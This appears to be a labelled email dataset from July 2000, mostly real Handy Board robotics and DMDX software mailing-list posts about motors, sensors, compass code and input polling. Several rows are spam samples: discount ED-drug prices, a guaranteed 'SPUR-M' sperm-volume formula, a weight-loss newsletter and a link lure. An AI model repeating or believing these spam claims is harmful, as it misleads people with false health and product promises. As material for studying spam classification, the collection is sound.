ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > C, n.: > A programming language that is sort of like Pascal except more > like assembly except that it isn't very much like either one, or > anything else. It is either the best language available to the art > today, or it isn't. > > - Ray Simard > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== -- Jesse Spencer-Smith Graduate Student Cognitive Psychology / Cognitive Science Psychology Building Room 293 Indiana University 1101 E 10 St Bloomington, IN 47405-7007 (812) 855-1554 http://www.indiana.edu/~jbsteach/ http://www.indiana.edu/~psymodel/ ",0,1 """M. Belanger"" ",handyboard@media.mit.edu,"Fri, 30 Jun 2000 16:43:57 +0000",Re: Motors spinning at startup,"I have been having the same motors spinning on powerup ""problem"" with my Handyboard. I tried various capacitor combinations on my modified servo motors to no effect. Fred M. finally provided the answer: >>there's nothing that can be done about it, sorry. when the board is >>first turned on, there's a 1/3 sec period when the motor output latch >>has a random state. then the cpu comes out of reset and clears it. In short, there is nothing wrong with your board or motors based on the symptoms you described. My solution is to just pick up the robot as I turn it on and expect that the wheels will turn for an instant (this keeps me from dropping it when the spinning wheels startle me). The other option is to unplug the motors on powerup. I may switch to a single motor plug (with both of my motors on one 6 place/4 pin connector) to simplify plugging and unplugging the motors. MLB In lugnet.robotics.handyboard, writes: >Hi all, > I have a problem with the motors connected to my handyboard. When I first >turn on the HB, the motors will spin randomly. This happens about every 2-3 >times I switch on. I know this problem has come up before on the list, but >the post I found didn't answer all my questions. >What type of caps should I use, non-polarised? >Also what value capacitance should they have? (My motors are 12v [running >from HB 9.6v] and draw about 100ma each [2 motors]) >The post also mentioned connecting the cap lead that goes to the negative on >the motor to the case of the motor, however my robot is differential drive >so the +ve and -ve of the motor change depending on which way the robots >going, what should I do? > Thanks, > Matt > >-------------- >""Sometimes I think that the surest sign that intelligent life exists >elsewhere in the Universe is that none of it has ever tried to contact >us.."" -Calvin",0,0 """Cutts, Patrick H"" ","""'handyboard@media.mit.edu'"" ","Fri, 30 Jun 2000 10:18:54 -0700",RE: Motors spinning at startup,"I also tried all sorts of capacitors, etc. in an attempt at solving this problem. While the capacitors helped to minimize the length of time before the motors calmed down, there was always a short period of motor craziness that never went away. I solved it on my handyboard in the following manner: I cut the trace where we are told to cut it if we decide to put external motor power to the board, and then I installed a jumper block with jumper (like from a computer motherboard) across the cut trace. When I want to power up the handyboard, I remove the jumper, turn on the handyboard, wait a second for the handyboard to reset, and then supply power to the motors by installing the jumper. -p -----Original Message----- From: news-gateway@lugnet.com [mailto:news-gateway@lugnet.com]On Behalf Of M. Belanger Sent: Friday, June 30, 2000 9:44 AM To: handyboard@media.mit.edu Subject: Re: Motors spinning at startup I have been having the same motors spinning on powerup ""problem"" with my Handyboard. I tried various capacitor combinations on my modified servo motors to no effect. Fred M. finally provided the answer: >>there's nothing that can be done about it, sorry. when the board is >>first turned on, there's a 1/3 sec period when the motor output latch >>has a random state. then the cpu comes out of reset and clears it. In short, there is nothing wrong with your board or motors based on the symptoms you described. My solution is to just pick up the robot as I turn it on and expect that the wheels will turn for an instant (this keeps me from dropping it when the spinning wheels startle me). The other option is to unplug the motors on powerup. I may switch to a single motor plug (with both of my motors on one 6 place/4 pin connector) to simplify plugging and unplugging the motors. MLB In lugnet.robotics.handyboard, writes: >Hi all, > I have a problem with the motors connected to my handyboard. When I first >turn on the HB, the motors will spin randomly. This happens about every 2-3 >times I switch on. I know this problem has come up before on the list, but >the post I found didn't answer all my questions. >What type of caps should I use, non-polarised? >Also what value capacitance should they have? (My motors are 12v [running >from HB 9.6v] and draw about 100ma each [2 motors]) >The post also mentioned connecting the cap lead that goes to the negative on >the motor to the case of the motor, however my robot is differential drive >so the +ve and -ve of the motor change depending on which way the robots >going, what should I do? > Thanks, > Matt > >-------------- >""Sometimes I think that the surest sign that intelligent life exists >elsewhere in the Universe is that none of it has ever tried to contact >us.."" -Calvin",0,0 Ray Tang ,handyboard@media.mit.edu,"Sat, 01 Jul 2000 02:18:35 +0000",Sharp GP2D12-Sensor under sunlight?,"Hi, I am working on a robot with the HandyBoard. I am thinking about using the Sharp GP2D12-Sensor because the other IR reflective sensors I use won't work under sunlight. I read the spec. sheet of GP2D02 and GP2D05, both of them mention that they work well under sunlight. But GP2D12 and GP2D15 spec. sheet didn't mention such feature. I was wondering if anyone have used the GP2D12 under sunlight? How well does it work? What other cheap sensors would anyone suggest if I need the robot running under sunlight? -- Ray ",0,0 """M. Belanger"" ",handyboard@media.mit.edu,"Sat, 01 Jul 2000 07:15:49 +0000",Re: Sharp GP2D12-Sensor under sunlight?,"I have three GP2D12s running on a Handyboard and they seem to run quite well in sunlight. In overcast or indirect light (shade) their performance seems identical to indoor light. In bright sunlight there seems to be a possible shortening of the range but I haven't recalibrated them outdoors to see how much the response curve changes. What is your application for them? MLB .In lugnet.robotics.handyboard, Ray Tang writes: >Hi, > I am working on a robot with the HandyBoard. I am thinking about using >the Sharp GP2D12-Sensor because the other IR reflective sensors I use won't >work under sunlight. I read the spec. sheet of GP2D02 and GP2D05, both of >them mention that they work well under sunlight. But GP2D12 and GP2D15 >spec. sheet didn't mention such feature. I was wondering if anyone have >used the GP2D12 under sunlight? How well does it work? > What other cheap sensors would anyone suggest if I need the robot >running under sunlight? > >-- > > Ray ",0,0 Dirk Janssen ,DMDX@psy1.psych.arizona.edu,"Sat, 01 Jul 2000 16:07:45 -0700",[DMDX],"On Fri, 30 Jun 2000, Boris New wrote: > Hi, > > I htink that it could be very practical if dmdw would auotrize to have > characters and not only numbers in item numbers: it would permit make > directly statistical analysis on the result file. > A while ago, I wrote a script (in AWK) that merges a file with codings with your result files. That is, it needs a file that looks approximately like this: item: 123 coding: seashore 2432 groupB related After calling the script, your AZK file will be rewritten from: +123 1245 to: +123 1245 seashore 2432 groupB related Which is enough to keep SPSS and Splus happy :-) The script is was not made with a larger audience than me in mind, but I'm happy to give it to anyone interested. Dirk ............................. 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I am in the UK, does any body know if I can change the resistors in the infrared transmission circuit to use a different capacitor (as I assume it is used for timing purposes) or where I am likely to be able to get one from. Thanks for any help anybody can offer. ",0,0 John Hatton ,HB Mailing list ,"Mon, 03 Jul 2000 13:21:19 +0100",6.8nF Capacitor,"I have found that Maplins have only stopped stocking the 5% tolerance caps, they still do 10% versions. How critical is the capacitors value ?. I could probably try testing a batch of them in the shop using a multimeter but I couldn't guarentee how close I would get. Thanks again John Hatton ",0,0 John Hatton ,HB Mailing list ,"Mon, 03 Jul 2000 13:45:49 +0100",HB Batteries,"I am going to use individual AA cell batteries to power the HB mounted into two 4 cell holders. My question is this, if I use NiMh cells (1300mAh) rather than NiCd cells (800 - 900 mAh) how would this effect the HB ?. My current understanding is that the charging of the cells would take longer but as I am intending of periodically charging the cells away from the board using a NiMh specific charger (I know that this will lose the programs in the RAM) this is not too much of a concern. I just wanted to make sure I had my understanding correct. Also If I replace the 8 rechargable cells with 7 standard batteries, what sort of extra modifications should I make (would a diode be enough to prevent damage via the recharge circuit). Thanks. John Hatton ",0,0 Robert Kelly ,handyboard@media.mit.edu,"Mon, 03 Jul 2000 16:18:12 +0000",VECTOR 2X,"Hi all, I am currently fabricating my new HBoard based robot and have only gotten to the design stages. I have ordered a Vector 2x but haven't recieved it yet. I am not particularly well endowed with electronics or assembly language skills (very little except that I knew enough to correctly solder my board together by following instructions)I can program adequately in IC. I have looked at the Vector 2x stuff submitted by Tom Brushaver (sp?) and am not sure it will work with my setup. It looks like his method requires the use of motor ports or something. Has anyone successfully implemented one of these things using the HBoard and expansion board without permanent modifications? Most importantly, can anyone give explicit instructions(with info on what other components are needed, connection from pins on the Vector 2x to the specific I/O ports on the Hboard and Expansion Board, code if possible) and even software to get one of these working? Any tips on mounting to reduce interference of the mag field? Thanks all, Bob K. ",0,0 """T. Gathright"" ","Robert Kelly , handyboard@media.mit.edu","Mon, 03 Jul 2000 21:39:23 -0500",Re: VECTOR 2X,"Hi Robert, It has been over a year since I have had the vector 2x connected to my board but if you follow the instructions that Tom Brusehaver posted in contributed software everything should work ok. You will have to connect to one of the motor driver chips but it's no big problem, I just shoved a wire along side pin #2 of the 16 pin DIP motor chip for motors 2 and 3. I mounted the v2x on a aluminum angle 2' above the motors. It worked fair inside and great outdoors. Every now and then the compass would ""hang-up"" but you can reset by monterialy grounding one of the pins, that information is in Tom's instructions. I would like to reconnect the v2x to my board but have installed the expansion board and have not seen any information posted as how to do it. The code below was in the software downloaded from Tom Brusehaver's compass. zip file. Let us know how it turns out. Bye Terry G. /* compass testing miniboard */ void v2x() { comp_init(1); printf(""\\nCompass Init..\\n""); beep(); start_process(take_readings()); } void take_readings() { int heading,tmp; while(1) { heading = head_word; printf(""Heading %d (0x%x)\\n"", heading,head_word); sleep(0.5); /* otherwise the display blinks! */ } } /* int main() */ /* { */ /* v2x(); */ /* } */ ----- Original Message ----- From: ""Robert Kelly"" To: Sent: Monday, July 03, 2000 11:18 AM Subject: VECTOR 2X > Hi all, > > I am currently fabricating my new HBoard based robot and have only gotten to > the design stages. I have ordered a Vector 2x but haven't recieved it yet. I > am not particularly well endowed with electronics or assembly language skills > (very little except that I knew enough to correctly solder my board together > by following instructions)I can program adequately in IC. > > I have looked at the Vector 2x stuff submitted by Tom Brushaver (sp?) and am > not sure it will work with my setup. It looks like his method requires the use > of motor ports or something. > > Has anyone successfully implemented one of these things using the HBoard and > expansion board without permanent modifications? > > Most importantly, can anyone give explicit instructions(with info on what > other components are needed, connection from pins on the Vector 2x to the > specific I/O ports on the Hboard and Expansion Board, code if possible) and > even software to get one of these working? > > Any tips on mounting to reduce interference of the mag field? > > Thanks all, > > Bob K.",0,0 Bryant ,handyboard@media.mit.edu,"Tue, 04 Jul 2000 09:45:03 -0500",best prices for impotence drugs Dorothea," ED Choice, your best choice for ED drugs Viagra 100mg - $1.56 /pill Viagra SOFT $1.89 /pill NEW! Cialis $3.00 /pill Cialis SOFT $3.33 /pill NEW! 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To set up the compass, you will need to call reset_compass() from your main() routine, and then when you want to see what it has to say, use the read() function. #define porth 0x7C00 /* ignore this, it is for setting data direction on my board */ #define set_h bit_set(0x7e00,0b00000100) #define pc_low bit_clear(porth,0b00100000) /* these next 4 ports will be digital outputs on your board */ #define pc_high bit_set(porth,0b00100000) #define sclk_low bit_clear(porth,0b01000000) /* ""porth"" is port h on my board, not a new instruction :-) */ #define sclk_high bit_set(porth,0b01000000) #define ss_low bit_clear(porth,0b00001000) #define ss_high bit_set(porth,0b00001000) #define reset_low bit_clear(porth,0b00010000) #define reset_high bit_set(porth,0b00010000) #define read_sdo input_j(1) /* these will be digitial input points on your board */ #define check_eoc input_j(0) /* ditto */ void reset_compass() {set_h; poke(porth,0); /* this clears all the outputs in general, you may just want to clear some of them on your board, depending on what else you have connected */ ss_high; pc_high; sclk_high; reset_high; reset_low; msleep(15L); reset_high; msleep(5L);} int read() {int i; int j; int heading; heading=0; sclk_high; ss_high; msleep(15L); pc_low; msleep(15L); pc_high; while(!check_eoc) {;} msleep(15L); ss_low; msleep(15L); for(i=1;i<8;i++) {sclk_low; msleep(5L); sclk_high; msleep(5L);} sclk_low; msleep(5L); sclk_high; msleep(5L); if(read_sdo==1) {heading=256;} msleep(15L); for(j=7;j>0;j--) {sclk_low; msleep(10L); sclk_high; msleep(10L); if(read_sdo != 0) {heading +=(int)((2.^(float)(j))+1.);}} sclk_low; msleep(5L); pc_high; sclk_high; return heading;} A couple of things to note: 1. Since this is done in IC, the routine is too slow to pick up the last bit on the heading, degrading maximum accuracy to +/- 2° 2. The Vector 2X doesn't work very well indoors due to disturbances in the magnetic field caused by metalic objects and other fields. 3. Because of 2., 1. doesn't matter much. 4. There is a good way to compensate for the errors caused by indoors use. You must calibrate for the fields as they exist in your robot lab, and then the compass will provide headings that you can use. Email me when you get to that point. Good luck, Gary Livick http://www.teleport.com/~raybutts/ tiny HC11 boards for your projects Robert Kelly wrote: > Hi all, > > I am currently fabricating my new HBoard based robot and have only gotten to > the design stages. I have ordered a Vector 2x but haven't recieved it yet. I > am not particularly well endowed with electronics or assembly language skills > (very little except that I knew enough to correctly solder my board together > by following instructions)I can program adequately in IC. > > I have looked at the Vector 2x stuff submitted by Tom Brushaver (sp?) and am > not sure it will work with my setup. It looks like his method requires the use > of motor ports or something. > > Has anyone successfully implemented one of these things using the HBoard and > expansion board without permanent modifications? > > Most importantly, can anyone give explicit instructions(with info on what > other components are needed, connection from pins on the Vector 2x to the > specific I/O ports on the Hboard and Expansion Board, code if possible) and > even software to get one of these working? > > Any tips on mounting to reduce interference of the mag field? > > Thanks all, > > Bob K.",0,1 Roger Hamlett ,handyboard@media.mit.edu,"Wed, 05 Jul 2000 10:10:39 +0000",Re: 6.8nF Capacitor,"In lugnet.robotics.handyboard, John Hatton writes: >I have got all the parts for building my HB except for a 6.8 nF 2% >capacitor (component C6). Maplin Electronics have stop doing it and I am >not sure where to try next. I am in the UK, does any body know if I can >change the resistors in the infrared transmission circuit to use a >different capacitor (as I assume it is used for timing purposes) or >where I am likely to be able to get one from. > >Thanks for any help anybody can offer. Not knowing what parts the HB uses, but assuming it is something like a polystyrene cap, then I think I have some in my component drawer. Send me your address, and I'll stick a couple in the post. Best Wishes",0,0 James Munro ,Handyboard ,"Wed, 05 Jul 2000 15:24:44 -0500",Handyboard startup problems,"Hi all, I'm having some problems with me previously functioning handyboard. I'm using a standard board which has worked fine for nearly a year. Recently it didn't get any use for awhile and the batteries ran down. After charging them for 18+ hours I downloaded the pcode and it appeared to work fine for awhile. Now if I turn it on one of several things happen: 1. Med-dark grey block in the top line of the LCD. 2. It will come on for a moment and then the red & green power/on lights will glow brightly and it will reset for no apparent reason. I can't seem to get it to work with IC since the board keeps resetting on its own. I checked the battery with the volt meter and it appeared that, at first, it was only seeing .5 volts from the power-expansion headers, but then when it came on it was back up to its 10.x volts, full charge. Odd I thought. Anyone experience this before? Thanks in advance, -Jim Munro",0,0 """Marco A. A. de Oliveira"" ",Martin Ziegler ,"Wed, 05 Jul 2000 18:12:42 -0600",Re: Connect HP 48GX,"Gruezi/ Hi, Martin Ziegler wrote: > Hi > > Did somebody ever try to connect the Handy-Board to a Hewlett Packard > 48G or 48GX? I don't exactly know the specifications of the serial > port of the 48G. But there are several serial options possible. For > Instead of using the serial port, how about using the HP4**x IR port? I recall there being HP4**x programs that emulate IR remote controls which should be easy to modify (?) for general-purpose communications. Marco A. Assfalk de Oliveira marco.assfalk.oliveira@ieee.org",0,0 John Hatton ,HB Mailing list ,"Thu, 06 Jul 2000 10:44:36 +0100",HB to Comms board cable,"Is there a 'best' length for the telephone cable between the HB and the Comms board. I am about to start construction and I was wondering if there was a maximum length for the cable and if a particular length was recommended. Thanks for your help. John Hatton ",0,0 John Hatton ,HB Mailing list ,"Thu, 06 Jul 2000 13:09:57 +0100",6.8 nF Capacitor,"Can any body tell me if a 6.6nF capacitor will do to replace the 6.8nF in the IR Transmission circuit (Fred?) ?. Thanks in advance. John Hatton ",0,0 Tom Napolitano ,handyboard@media.mit.edu,"Thu, 06 Jul 2000 13:01:11 +0000",Re: 6.8 nF Capacitor,"In lugnet.robotics.handyboard, John Hatton writes: >Can any body tell me if a 6.6nF capacitor will do to replace the 6.8nF >in the IR Transmission circuit (Fred?) ?. > >Thanks in advance. > >John Hatton Yes. Capacitors have typically very loose tolerances anyhow; usually 20% unless you buy specifically selected samples in a tighter tolerance. The 6.8 is a standard value while the 6.6 you have is likely a specially selected non-standard value. tom napolitano tomnap@bersama.net",0,0 John Hatton ,"Tom Napolitano , HB Mailing list ","Thu, 06 Jul 2000 14:18:50 +0100",Re: 6.8 nF Capacitor,"The 6.6nF was the capacitance measured for the two 6.8nF capacitors that I have managed to get (rated as 10% tolerance). The problem is that the parts listed for the HB are 2% tolerance 6.8nF capacitors which gives a lowest value of 6.6664nF which is higher than the values that I have got. I was wondering how much of an effect the 0.2 nF discrepency would have on the IR transmission circuitry's effectiveness. John ",0,0 Steve Stevens ,handyboard@media.mit.edu,"Thu, 06 Jul 2000 16:52:19 +0000",Reset on the HB,"Could someone tell me where the reset button refered to in documents for the Handy Board is? I know the master reset is the on/off switch. TIA. Steve ",0,0 Gary Livick ,handyboard@media.mit.edu,"Thu, 06 Jul 2000 23:08:57 +0000",Re: translation,"Loose translation (by Gary Livick, not known for my language skills, or any skills for that matter): Hi. I'm very interested in knowing how one communicates with an hc12 via the serial port. I'd be grateful if someone could send me all the information on that subject. Thanks for your help, Humberto Humberto Mazuera Párraga wrote: > hola: > estoy muy interesada en saber como puedo comunicarme por el puerto > serial a partir del microcontrolador 68hc12 de motorola. > les agradeceria se me pueden enviar toda la informacion al respecto. > gracias por su atencion. ",0,0 Joe Kopena ,handyboard@media.mit.edu,"Fri, 07 Jul 2000 01:54:21 +0000",Any work on using normal IR readings?,"Has anyone done any work on using simple IR sensors as (short) range-finders / proximity detectors? Basically a reflectance sensor, but with a discrete infrared emitter and detector. One of the problems you notice right away when using these is that color and texture greatly affect them. A white object at two inches might return 75, but a green object at 2 inches might return 12. Has anyone put any effort into trying to determine what and where the object actually is based on a series of readings? (if you're interested, I have notes on how to construct these and some sample data at http://plan.mcs.drexel.edu/projects/legorobots/) ",0,1 Ed Spike ,handyboard@media.mit.edu,"Fri, 07 Jul 2000 18:21:36 -0400",Handboard supplier?,"We are looking for assembled handyboards with the LCD detachable. Pricing and shipping means are requested for F.O.B. our doors in Waterloo, Ontario, Canada. The units will be used for student projects. Thanks ",0,0 Jeffery jejezos ,handyboard@media.mit.edu,"Sat, 08 Jul 2000 19:21:01 +0800",this one is for you maba,"SPUR-M Formula You can increase sperm production 500% Shoot five times your usual load and have longer most satisfying release. Superb results totally guaranteed by the industry leader - it is a money-back promise that has never been used by any of our million customers! This is the secret recipe used by top pron-stars for their huge effects! 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If not, what can be the problem? If I use the HB alone, turning it on and off , I have no problems with the memory contents. Thank You Jose Luis ",0,0 Will Bain ,Handyboard Mailing List ,"Sun, 09 Jul 2000 08:46:49 -0600",Re: Memory erased,"Jose -- Yes, I think that's normal. -- Will Jose Luis wrote: > > Hi, > > Is it normal that any time I start IC, and the HB sinchronize with it, all > the programs in the memory are erased, and there is only the ones the IC > download at that moment (the ones in lib_hb.lis) ? If not, what can be the > problem? If I use the HB > alone, turning it on and off , I have no problems with the memory contents. > > Thank You > > Jose Luis ",0,0 JULIAN REYES ,handyboard@media.mit.edu,"Sun, 09 Jul 2000 16:49:53 -0700",four polariod sonars,"Hi everybody! I�m working in mi mobile robot and for the navigation i want to connect 4 polaroid sonars to my HB, has anybody developed any design? I found in the HB site a multiplexor circuit for connect 4 sonar by adam cox, but i can�t find more info about that or drivers for this circuit...can anybody help me? thanks, julian reyes, julianreyes@hotmail.com ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com ",0,1 hula baluza ,handyboard@media.mit.edu,"Sun, 09 Jul 2000 16:55:09 -0700",serial communications HB - PC," Hi! I need to know how implement a serial and asyncronous communication (send and recieve data between my PC and my HB) through the computer conector (not through the spi!), Does somebody know how can i do it or what are the hb serial commands or routines for use rx an tx? tanks camila classics90@hotmail.com ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com ",0,1 """Howard, Liz"" ",handyboard@media.mit.edu,"Sun, 09 Jul 2000 20:38:24 -0500",Newsletter-192,"Company Update: We sent out a newsletter on April 6th telling people we would not be able to release our 10 day weight formula until July 19th. Well that was then and this is now! Our product has been pushed through all the tests and is ready for release in stores on May 29th. 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Designated trademarks and brands are the property of their respective owners. eBay and the eBay logo are registered trademarks or trademarks of eBay, Inc. eBay is located at 2145 Hamilton Avenue, San Jose, CA 95125.",1,1 John Hatton ,"Ed Spike , HB Mailing list ","Mon, 10 Jul 2000 09:13:02 +0100",Re: Handboard supplier?,"Try Patrick Hui at Robot Store ( http://www.RobotStoreHK.com or for info emailto:info@RobotStoreHK.com ) he sells assembled boards at reasonable prices. Ed Spike wrote: > We are looking for assembled handyboards with the LCD detachable. > Pricing and shipping means are requested for F.O.B. our doors in > Waterloo, Ontario, Canada. > The units will be used for student projects. > Thanks ",0,1 Dewitt Lopez ,handyboard@media.mit.edu,"Mon, 10 Jul 2000 19:45:48 +0900",�λ����� ���� ���鶧 ������ �ǵ帮�ڽ��ϴ�.,"canary click prosthesis newsboy nitrite congresswoman predicament wa happenstance associable daub chairwomen upstater travertine arcsine pol expatiate coliform camilla homebound diminish allentown ",1,0 Stephan Adelsberger ,handyboard@media.mit.edu,"Mon, 10 Jul 2000 19:48:01 +0200",H2000 optical position sensor,"Hi, I am planning to build a position detector with a H2000 chip. The chip is used in several optical mice, for example the H2000/0006 can be found inside the Microsoft IntelliEye mouse. I sill have difficulties in finding the manufacturer and the proper datasheet of the chip. Furthermore I have tried to find information on the technique applied in optical mice and similar chips but without any success so far. I have searched all common suppliers with www.findchips.com and I have searched the web for hours- in vain. A similar question was posted one year ago on the HB mailing list, but the author was not able to find any information either. Grateful for any suggestions Stephan ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Stephan Adelsberger stephan@adelsberger.com http://go.to/robot great collection of robotics links ",0,1 Ray Tang ,handyboard@media.mit.edu,"Mon, 10 Jul 2000 18:44:00 +0000",Re: Handyboard startup problems,"Yes, I encounter something similar. Do you use servo on your board? I also have some trouble with the motor ports. I am not sure what causes it. I also have trouble with the motor ports. When I run the motor at 50% power (back or forward), both red and green LED on the port light up at the same time. If I detach the motor from the port, the LEDs light work fine. I am trying to figure out what is going on myself... -- Ray James Munro wrote in message news:Pine.GSO.4.21.0007051519140.21314-100000@typhoon.xnet.com... > Hi all, I'm having some problems with me previously functioning > handyboard. > > I'm using a standard board which has worked fine for nearly a year. > Recently it didn't get any use for awhile and the batteries ran down. > After charging them for 18+ hours I downloaded the pcode and it appeared > to work fine for awhile. > > Now if I turn it on one of several things happen: > > 1. Med-dark grey block in the top line of the LCD. > > 2. It will come on for a moment and then the red & green power/on lights > will glow brightly and it will reset for no apparent reason. I can't seem > to get it to work with IC since the board keeps resetting on its own. > > I checked the battery with the volt meter and it appeared that, at first, > it was only seeing .5 volts from the power-expansion headers, but then > when it came on it was back up to its 10.x volts, full charge. Odd I > thought. > > Anyone experience this before? > > Thanks in advance, > > -Jim Munro > >",0,0 Claudio ,handyboard@media.mit.edu,"Mon, 10 Jul 2000 08:39:03 -0500",Claudio admires you ttschalter," propose grand accumulation http://iexpressib.com >> any incidentally 9839218 one kittel erlm ",1,1 Mario Fific ,DMDX@psy1.psych.arizona.edu,"Tue, 11 Jul 2000 05:34:19 -0500",[DMDX],"---------- Forwarded message ---------- Date: Tue, 11 Jul 2000 12:30:46 -0000 From: racic luka To: mfific@indiana.edu Subject: [DMDX] Fw: Polling time ----- Original Message ----- From: racic luka To: DMDX@psy1.psych.arizona.edu Sent: Wednesday, July 05, 2000 12:50 PM Subject: [DMDX] Polling time I bought gamepad Propad 8 USB which is capable of polling 0.045ms, base time 1ms in the Input test. Since I am interested in recording 1ms latency I believed that by setting gamepad will be able to poll responses within 1ms as suggested in the manual. Unfortunately the program freezes with this settings. Since I assumed that this hardware is not capable of polling 1ms, I tried to change setting to the default for the joysticks and gamepads, but it still continued to freeze. I further had checked similar correspondence (check ""Input Device and pooling messages"" from March 2000) and found similar problems. To summarize: Input test recognized gamepad device as a joystick 1 over USB . When I tried to changed id setting 10,1 or 10, 3 or 10,10 or 15,10 program freezes (without this numbers it works). When I used it works (note comma) (the guy in march 2000 correspondence did similar thing) and Forster did not comment that this is wrong. What would happen if I omit numbers and just put ? Will it stick with the default values or will poll as fastest as possible? I would appreciate help on this since it is possible that there is some vagueness concerning this pooling matter. Thanks, Mario",0,0 Jesse Spencer-Smith ,DMDX Listserv ,"Tue, 11 Jul 2000 11:31:43 -0500",[DMDX],"DMDXers - I bought gamepad Propad 8 USB which is capable of polling 0.045ms, base time 1ms in the Input test. Since I am interested in recording 1ms latency I believed that by setting gamepad will be able to poll responses within 1ms as suggested in the manual. Unfortunately the program freezes with this settings. Since I assumed that this hardware is not capable of polling 1ms, I tried to change setting to the default for the joysticks and gamepads, but it still continued to freeze. I further had checked similar correspondence (check ""Input Device and polling messages"" from March 2000) and found similar problems. To summarize: Input test recognized gamepad device as a joystick 1 over USB. When I tried to changed id setting 10,1 or 10, 3 or 10,10 or 15,10 program freezes (without this numbers it works). When I used it works (note comma) (the guy in march 2000 correspondence did similar thing) and no one commented that this is wrong. What would happen if I omit numbers and just put ? Will it stick with the default values or will poll as fastest as possible? I would appreciate help on this since it is possible that there is some vagueness concerning this polling matter. Thanks, Mario Fific by way of -- Jesse Spencer-Smith Graduate Student Cognitive Psychology / Cognitive Science Psychology Building Room 293 Indiana University 1101 E 10 St Bloomington, IN 47405-7007 (812) 855-1554 http://www.indiana.edu/~jbsteach/ http://www.indiana.edu/~psymodel/",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 11 Jul 2000 10:05:26 -0700",[DMDX] Re: ,"At 11:31 AM 7/11/00 -0500, you wrote: >DMDXers - > >I bought gamepad Propad 8 USB which is capable of polling >0.045ms, base time 1ms in the Input test. Since I am interested >in recording 1ms latency I believed that by setting 1"" 10,1> gamepad will be able to poll responses within 1ms as >suggested in the manual. Hmm, the non-USB PROPAD 6 gamepad that I have lists it's name as ""PROPAD 6"" in the TimeDX input test -- but that were you trouble then there'd be error messages. >Unfortunately the program freezes with this settings. Since I >assumed that this hardware is not capable of polling 1ms, I tried >to change setting to the default for the >joysticks and gamepads, but it still continued to freeze. > >I further had checked similar correspondence (check ""Input Device >and polling messages"" from March 2000) and found similar >problems. To summarize: Input test recognized gamepad device as a >joystick 1 over USB. When I tried to changed id setting 10,1 or >10, 3 or 10,10 or 15,10 program freezes (without this numbers it >works). > >When I used it works (note comma) (the >guy in march 2000 correspondence did similar thing) and no one >commented that this is wrong. It's not wrong, just extraneous, if the code is working properly then it will just be skipping the extra delimiter, if it's broken then that'll be fixing it. Unfortunately I'm not going to be looking at it for a while, I am deep in the middle of the version 2 re-write, when that's done I will have time to investigate what's causing people trouble here. My guess is that there is something new and interesting happening here, some new interaction between having a USB device and DMDX polling it every millisecond. Unfortunately I don't have a USB gamepad to test this with, if you want me to investigate it you'll have to send me one of the devices. > What would happen if I omit numbers and just put >? Will it stick with the default values or will poll as fastest as > possible? I would appreciate help on this since it is possible that there > is some vagueness concerning this polling matter. As stated in the documentation it will poll at a 3ms data rate. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You may be sure that when a man begins to call himself a ""realist,"" he is preparing to do something he is secretly ashamed of doing. - Sydney Harris",0,0 """John P. Kline"" ",DMDX@psy1.psych.arizona.edu,"Tue, 11 Jul 2000 13:33:20 -0400",[DMDX] timings of outputs on PIO 12,"Hello. I am interested in knowing whether anyone has tested the timing of output bits on the PIO 12 against the actual video display events. One possibility that comes to mind is a photocel / one-shot assembly against the onset of the TTL pulse from the outputs. If so, are these events completely simultaneous, or is there jitter or a systematic delay? If so, how much? thanks, John ___________________________________________________________________________ John P. Kline, Ph.D. Office Phone: 850-644-9363 Assistant Professor Lab Phone: 850-644-2049 Department of Psychology Fax: 850-644-7739 Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ___________________________________________________________________________ ",0,1 Ray Tang ,handyboard@media.mit.edu,"Tue, 11 Jul 2000 15:00:45 +0000",Re: four polariod sonars,"Hi, I read the design a while back... Don't you just control the multiplexor circuit on the handyboard and then call the sonar routines? All sonar use the same routine, aren't they? -- Ray JULIAN REYES wrote in message news:20000709234953.53945.qmail@hotmail.com... > Hi everybody! > > I4m working in mi mobile robot and for the navigation i want to connect 4 > polaroid sonars to my HB, has anybody developed any design? I found in the > HB site a multiplexor circuit for connect 4 sonar by adam cox, but i can4t > find more info about that or drivers for this circuit...can anybody help me? > > thanks, julian reyes, julianreyes@hotmail.com >",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 11 Jul 2000 11:58:40 -0700",[DMDX] Re: timings of outputs on PIO 12,"At 01:33 PM 7/11/00 -0400, you wrote: >Hello. I am interested in knowing whether anyone has tested the timing of >output bits on the PIO 12 against the actual video display events. One >possibility that comes to mind is a photocel / one-shot assembly against >the onset of the TTL pulse from the outputs. > >If so, are these events completely simultaneous, or is there jitter or a >systematic delay? If so, how much? Yes, of course I've tested them. They're as accurate as win32 timing allows on any given machine, usually +- 0.6ms. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ And on the seventh day, He exited from append mode. ",0,0 Steve Stevens ,handyboard@media.mit.edu,"Tue, 11 Jul 2000 16:05:13 +0000",File Contains Virus,"There is a file located on one of the HB sites that contains the Melissa W97 virus. It begins with 478... I am sorry that I can not give you more info as the virus scanning software removed the file, but if you maintain a server with HB files on it, you may want to check. I was at several University sites including MIT and some othe commercial ones as well. This is not a hoax. I work for the Department of the Navy and sent email with the virus all over the world yesterday. Needless to say there are some unhappy people around today. This virus goes into your email address book and mails itself to others. In my case the first five address happen to be GLOBAL Commands around the world. Please check your sites. I am going to try to retrace my steps as soon as I finish the paper work. Maybe in this lifetime. Regards, Steve Stevens ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 11 Jul 2000 12:16:20 -0700",[DMDX] win2k SMP," Looks like people are going to have to avoid Windows 2000 on a multi-processor motherboard, it appears that the high performance timer DMDX uses returns different values depending upon which CPU is executing -- and it's not a bug, it's a feature, thanks 